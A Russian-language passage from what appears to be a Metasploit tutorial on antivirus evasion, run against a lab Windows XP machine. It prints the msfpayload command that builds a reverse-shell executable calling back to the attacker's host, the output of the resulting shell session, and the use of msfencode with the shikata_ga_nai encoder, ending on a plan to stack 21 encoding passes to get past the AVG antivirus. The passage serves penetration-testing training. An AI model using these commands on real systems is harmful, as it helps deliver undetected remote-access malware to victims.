Теперь, когда все установлено и готово, командуем 'exploit', для запуска multi/handler . multi/handler прослушивает заданный порт и в случае запуска подготовленного файла на стороне удаленного пользователя предоставляет нам shell.
msf exploit(handler) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Sending stage (474 bytes) [*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents>
Обход антивирусной защиты.
Как мы видели полезная нагрузка в Metasploit работает здорово. Но есть несколько осложнений. В связи с большим распространением вредоносного ПО, большинство операционных систем семейства Windows работают под защитой того или иного антивирусного программного обеспечения. Давайте приблизим наш пример к реальной жизни и установим бесплатный антивирус AVG и посмотрим, что произойдет с нашим файлом.

Как и предполагалось, антивирус забил тревогу. Давайте подумаем, что мы можем сделать для предотвращения обнаружения нашего модуля антивирусом.
Мы закриптуем исполняемый файл, чтобы усложнить обнаружение антивирусом. Будем использовать командную строку msfencode. Давайте взглянем на некоторые опции, запустив msfencode с переключателем '-h'.
root@bt4:/pentest/exploits/framework3# ./msfencode -h Usage: ./msfencode OPTIONS: -a The architecture to encode as -b The list of characters to avoid: 'x00xff' -c The number of times to encode the data -e The encoder to use -h Help banner -i Encode the contents of the supplied file path -l List available encoders -m Specifies an additional module search path -n Dump encoder information -o The output file -s The maximum size of the encoded data -t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)
Давайте посмотрим какие кодировщики у нас имеются, запустив 'msfencode -l'.
root@bt4:/pentest/exploits/framework3# ./msfencode -l Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 normal PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Отлично. Мы видим наши возможности, и множество различных кодировщиков которыми мы можем воспользоваться. Давайте воспользуемся "shikata ga nai encoder", подав на его вход вывод команды msfpayload (для бэк-коннекта к нашей машине) из примера выше.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) root@bt:/pentest/exploits/framework3# file /tmp/2.exe /tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Передадим бинарный файл на другую систему и посмотрим, что произойдет.

Все плохо. Он по прежнему уязвим перед AVG. Ну, мы не можем позволить AVG выиграть, правда? Давайте прикинемся немного параноиками и используем три различных кодировщика, двум из которых мы скомандуем по десять проходов, итого на три кодировщика у нас 21 проход. Это то число проходов, при котором файл все еще остается быть рабочим бинарным. AVG никогда не обойти это!
Оставить комментарий или два